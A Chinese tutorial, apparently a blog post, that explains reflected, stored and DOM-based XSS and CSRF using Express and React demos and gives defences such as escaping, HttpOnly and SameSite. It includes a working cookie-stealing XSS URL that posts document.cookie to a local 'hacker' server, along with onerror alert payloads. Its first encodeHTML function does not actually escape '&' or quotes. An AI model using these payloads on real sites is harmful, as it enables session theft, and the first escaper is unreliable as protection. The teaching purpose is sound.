前端安全之XSS及CSRF

1,093 阅读5分钟

1 XSS

  • XSS全称叫跨站脚本攻击(Cross Site Scripting),目的是把script脚本注入到网页中在浏览器执行该脚本

1.1 反射型

  • 用express写个简单的api
const express = require("express");
const app = express();
app.get("/article", function (req, res) {
  const { type } = req.query;
  res.send(`您查询的文章类型是:${type}`);//根据url中的type参数返回
});
app.listen(4000, () => {
  console.log("listening http://localhost:4000");
});
  • 正常情况是这样的,在URL中传递查询参数type,后台处理后返回结果

image.png

  • 但是如果在URL传入script脚本

image.png

  • 这时候后台把结果返回到浏览器时会执行这个脚本,这就成功注入了script脚本,完成了一次反射型XSS攻击

image.png image.png

  • 能成功执行注入的script脚本那就可以干很多事了,比如下面这个链接,他会获取当前点击用户的cookie然后发送到黑客的服务器上
http://localhost:4000/article?type=%3Cscript%3Efetch(`http://localhost:4001/cookie?cookie=${document.cookie}`)%3C/script%3E
const express = require("express");
const app = express();
const app2 = express();
app.get("/article", function (req, res) {
  const { type } = req.query;
  res.send(`您查询的文章类型是:${type}`);
});
app.listen(4000, () => {
  console.log("listening http://localhost:4000");
});
app2.get("/cookie", function (req, res) {
  const { cookie } = req.query;
  console.log(`盗取的cookie:${cookie}`);
  res.send();
});
app2.listen(4001, () => {
  console.log("黑客网站盗取cookie listening http://localhost:4001");
});

image.png

  • 刷新URL发现服务器已经成功盗取了cookie,所以cookie要加上HttpOnly这样js就无法操作cookie了

image.png

  • 防御措施:后台把特殊符号转义再返回到前端
const express = require("express");
const app = express();
app.get("/article", function (req, res) {
  const { type } = req.query;
  res.send(`您查询的文章类型是:${encodeHTML(type)}`);
});
app.listen(4000, () => {
  console.log("listening http://localhost:4000");
});
function encodeHTML(str) {
  return str
    .replace(/&/g, "&")
    .replace(/"/g, """)
    .replace(/'/g, "'")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

image.png

1.2 存储型

  • 存储型和反射型的区别在于script脚本是否持久化保存到后台数据库,上面的反射型受害者只有点击那个带有恶意脚本链接的用户,但是存储型的因为恶意脚本被持久化保存到了数据库中,所以受害者将会是所有访问这个网站的用户;
  • 比如掘金网的评论区,我输入下面这段文字

image.png

  • 保存后掘金是会把这段文字保存到数据库中的,后面其他网友点击这篇文章的时候加载这些内容的时候,如果掘金网没有做防御的话那就是会执行这个脚本弹出alert,显然掘金后台应该是有做转义的,而且掘金页面是用Vue写的,Vue和React这些框架也都帮我们做了转义(v-html和dangerouslySetInnerHTML除外)

image.png

  • 防御措施:
    • 前端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串
    • 后端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串
    • 前端渲染时候进行过滤,输出转义后的字符串

1.3 DOM型

  • 与上面两者不同,DOM型XSS不会和后台服务器产生任何关系,完全是前端的问题,是在页面DOM更新时把恶意脚本动态插入到HTML中执行了
  • 下面这段代码直接把input输入的内容用innerHTML插入到span中去了
<!DOCTYPE html>
<html lang="zh_CN">
<head>
    <meta charset="utf-8" />
    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>原始HTML</title>
</head>
<body>
    <input id="input" type="text" placeholder="请输入" style="width:300px" />
    <button onclick="container.innerHTML = input.value">提交</button>
    <div>
        你输入的是:<span id="container"></span>
    </div>
</body>
</html>

image.png

  • 但是如果我们插入的是恶意脚本内容,那就直接执行了这个恶意脚本
<img src="wrongUrl" onerror ="alert('XSS攻击')"> 

image.png

  • 注意简单的script标签在浏览器中是不会被执行的,因为HTML5中指定不执行由 innerHTML 插入的script标签

image.png

image.png

  • React的dangerouslySetInnerHTML测试
import React from "react";
import ReactDOM from "react-dom/client";
const htmlText = `
<span>test DOM XSS</span>
<script>alert('script')</script>
<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')">
`;
function App() {
  return (
    <div>
      {htmlText}
      <p
        dangerouslySetInnerHTML={{
          __html: htmlText,
        }}
      ></p>
    </div>
  );
}
const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(<App />);
  • 上面代码会alert,因为dangerouslySetInnerHTML背后React是调用innerHTML把htmlText这段内容插入到了p元素中,然后执行了恶意脚本alert('DOM型XSS攻击')

image.png

  • 可以看到页面div元素中渲染了htmlText的文字内容,因为react-dom在渲染前帮我们做了转义,在react-dom的源码中有个escapeHtml方法会把" ' & < >这5个字符在渲染到浏览器前进行转义

image.png

<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')"> 
// 转义后
&lt;img src=&quot;wrongUrl&quot; onerror =&quot;alert(&#x27;DOM型XSS攻击&#x27;)&quot;&gt; 
  • 但是用dangerouslySetInnerHTML插入到p元素中的内容是没有经过转义的,所以会插入恶意脚本并执行

image.png

  • 防御措施:
    • 在使用innerHTML或者v-html,dangerouslySetInnerHTML等时先把特殊字符转义
import React from "react";
import ReactDOM from "react-dom/client";
const htmlText = `
<span>test DOM XSS</span>
<script>alert('script')</script>
<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')">
`;
function App() {
  return (
    <div>
      {htmlText}
      <p
        dangerouslySetInnerHTML={{
          __html: encodeHTML(htmlText),
        }}
      ></p>
    </div>
  );
}
const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(<App />);

function encodeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&apos;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

image.png

2 CSRF

  • CSRF全称叫跨站请求伪造(Cross Site Request Forgery),目的是冒充用户做其他操作;
  • 比如我登录了掘金网,然后不小心点击了黑客的恶意链接,这个恶意链接里面的代码冒充我向掘金网提交了一条评论,因为请求会自动携带上cookie,所以可以在我毫不知情的情况下带着我登录后的 cookie通过掘金网的认证完成各种操作;
  • 防御措施:
    • 设置SameSite属性
      • Strict:跨站点不携带Cookie
      • Lax:相对宽松一点,在跨站点的情况下,从第三方站点的链接打开(导航到目标网址)或 Get 方式的表单提交这两种方式都会携带 Cookie;除此之外,如 Post 请求、 img、iframe 等加载的 URL,都不会携带 Cookie
      • None:最宽松,在任何情况下都会发送 Cookie 数据
    • 同源检测:后端验证Origin和Referer禁止外域或者不受信任的域名的请求
      • 在HTTP协议中,每一个异步请求都会携带两个Header,用于标记来源域名:
      • Referer Header:记录该请求的来源地址(含URL路径)
      • Origin Header:记录该请求的域名信息(不含URL路径)
      • 服务器先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值,看是否是同源请求
    • 后端添加Token验证(如常见的Bearer Token)
      • 前端一般会将Token字符串保存到localStorage中,因为浏览器只允许相同域名和端口访问相同的localStorage,所以不同担心其他网站窃取

github链接